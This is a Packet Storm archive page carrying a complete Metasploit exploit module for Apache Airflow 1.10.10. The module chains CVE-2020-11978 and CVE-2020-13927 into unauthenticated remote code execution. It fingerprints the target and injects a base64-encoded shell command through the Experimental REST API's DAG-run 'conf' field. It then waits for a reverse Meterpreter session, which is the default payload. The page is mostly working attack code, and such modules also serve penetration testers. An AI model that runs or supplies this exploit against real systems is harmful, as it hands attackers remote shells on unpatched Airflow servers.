[go: up one dir, main page]

exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Airflow 1.10.10 Remote Code Execution

Apache Airflow 1.10.10 Remote Code Execution
Posted Sep 19, 2023
Authored by Pepe Berba, Ismail E. Dawoodjee, xuxiang | Site metasploit.com

This Metasploit module exploits an unauthenticated command injection vulnerability by combining two critical vulnerabilities in Apache Airflow version 1.10.10. The first, CVE-2020-11978, is an authenticated command injection vulnerability found in one of Airflow's example DAGs, "example_trigger_target_dag", which allows any authenticated user to run arbitrary OS commands as the user running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's Experimental REST API to perform malicious actions such as creating the vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation and command injection, leading to unauthenticated remote code execution.

tags | exploit, remote, arbitrary, vulnerability, code execution
advisories | CVE-2020-11978, CVE-2020-13927
SHA-256 | bb3e8db54407d69676a1eba8103ab6fd9b1a3d72a85765a5ca4067e046a3ef88

Apache Airflow 1.10.10 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Airflow 1.10.10 - Example DAG Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability
by combining two critical vulnerabilities in Apache Airflow 1.10.10.
The first, CVE-2020-11978, is an authenticated command injection vulnerability
found in one of Airflow's example DAGs, "example_trigger_target_dag", which
allows any authenticated user to run arbitrary OS commands as the user
running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default
setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's
Experimental REST API to perform malicious actions such as creating the
vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation
and command injection, leading to unauthenticated remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'xuxiang', # Original discovery and CVE submission
'Pepe Berba', # ExploitDB author
'Ismail E. Dawoodjee' # Metasploit module author
],
'References' => [
[ 'EDB', '49927' ],
[ 'CVE', '2020-11978' ],
[ 'CVE', '2020-13927' ],
[ 'URL', 'https://github.com/pberba/CVE-2020-11978/' ],
[ 'URL', 'https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx' ],
[ 'URL', 'https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d' ],
],
'Platform' => ['linux', 'unix'],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp' } }
],
],
'Privileged' => false,
'DisclosureDate' => '2020-07-14',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8080, true, 'Apache Airflow webserver default port'),
OptString.new('TARGETURI', [ true, 'Base path', '/' ]),
OptString.new('DAG_PATH', [
true,
'Path to vulnerable example DAG',
'/api/experimental/dags/example_trigger_target_dag'
]),
OptInt.new('TIMEOUT', [true, 'How long to wait for payload execution (seconds)', 120])
]
)
end

def check
uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')
vprint_status("Checking target web server for a response at: #{full_uri(uri)}")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res
return CheckCode::Unknown('Target did not respond to check request.')
end

unless res.code == 200 &&
res.body.downcase.include?('admin') &&
res.body.downcase.include?('_csrf_token') &&
res.body.downcase.include?('sign in to airflow')
return CheckCode::Unknown('Target is not running Apache Airflow.')
end

vprint_good('Target is running Apache Airflow.')

vprint_status('Checking Apache Airflow version...')
version_number = res.body.to_s.scan(
%r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"}
).flatten.first

unless version_number
return CheckCode::Detected('Apache Airflow version cannot be determined.')
end

unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')
return CheckCode::Safe
end

vprint_status(
"Target is running Apache Airflow Version #{version_number}. " \
'Performing additional checks for exploitability...'
)

check_api
check_task
check_unpaused

return CheckCode::Appears
end

def check_api
uri = normalize_uri(target_uri.path, 'api', 'experimental', 'test')
vprint_status("Checking if Airflow Experimental REST API is accessible at: #{full_uri(uri)}")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res && res.code == 200
return CheckCode::Safe('Could not access the Airflow Experimental REST API.')
end

vprint_good('Airflow Experimental REST API is accessible.')
end

def check_task
uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'tasks', 'bash_task')
vprint_status('Checking for vulnerability of "example_trigger_target_dag.bash_task"...')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res && res.code == 200
return CheckCode::Safe(
'Could not find "example_trigger_target_dag.bash_task". ' \
'Target is not vulnerable to CVE-2020-11978.'
)
end

if res.get_json_document['env'].include?('dag_run')
return CheckCode::Safe(
'The "example_trigger_target_dag.bash_task" is patched. ' \
'Target is not vulnerable to CVE-2020-11978.'
)
end

vprint_good('The "example_trigger_target_dag.bash_task" is vulnerable.')
end

def check_unpaused
uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'paused', 'false')
vprint_status('Checking if "example_trigger_target_dag.bash_task" can be unpaused...')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res && res.code == 200
return CheckCode::Safe(
'Could not unpause "example_trigger_target_dag.bash_task". ' \
'Example DAGs were not loaded.'
)
end

vprint_good('The "example_trigger_target_dag.bash_task" is unpaused.')
end

def create_dag(cmd)
cmd = "echo #{Base64.strict_encode64(cmd)} | base64 -d | sh"
uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs')
vprint_status('Creating a new vulnerable DAG...')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/json',
'data' => JSON.generate({ conf: { message: "\"; #{cmd};#" } })
})

unless res && res.code == 200
fail_with(Failure::PayloadFailed, 'Failed to create DAG.')
end

print_good("Successfully created DAG: #{res.get_json_document['message']}")
return res.get_json_document['execution_date']
end

def await_execution(execution_date)
uri = normalize_uri(
target_uri.path,
datastore['DAG_PATH'],
'dag_runs', execution_date, 'tasks', 'bash_task'
)
print_status('Waiting for Scheduler to run the vulnerable DAG. This might take a while...')
vprint_warning('If the Bash task is never queued, then the Scheduler might not be running.')

i = 0
loop do
i += 1
sleep(10)
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res && res.code == 200
fail_with(Failure::Unknown, 'Bash task state cannot be determined.')
end

state = res.get_json_document['state']
if state == 'queued'
print_status('Bash task is queued...')
elsif state == 'running'
print_good('Bash task is running. Expect a session if executed successfully.')
break
elsif state == 'success'
print_good('Successfully ran Bash task. Expect a session soon.')
break
elsif state == 'None'
print_warning('Bash task is not yet queued...')
elsif state == 'scheduled'
print_status('Bash task is scheduled...')
else
print_status("Bash task state: #{state}.")
break
end
# stop loop when timeout
next unless datastore['TIMEOUT'] <= 10 * i

fail_with(Failure::TimeoutExpired,
'Bash task did not run within the specified time ' \
"- #{datastore['TIMEOUT']} seconds.")
end
end

def exploit
print_status("Executing TARGET: \"#{target.name}\" with PAYLOAD: \"#{datastore['PAYLOAD']}\"")
execution_date = create_dag(payload.encoded)
await_execution(execution_date)
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    22 Files
  • 31
    May 31st
    18 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close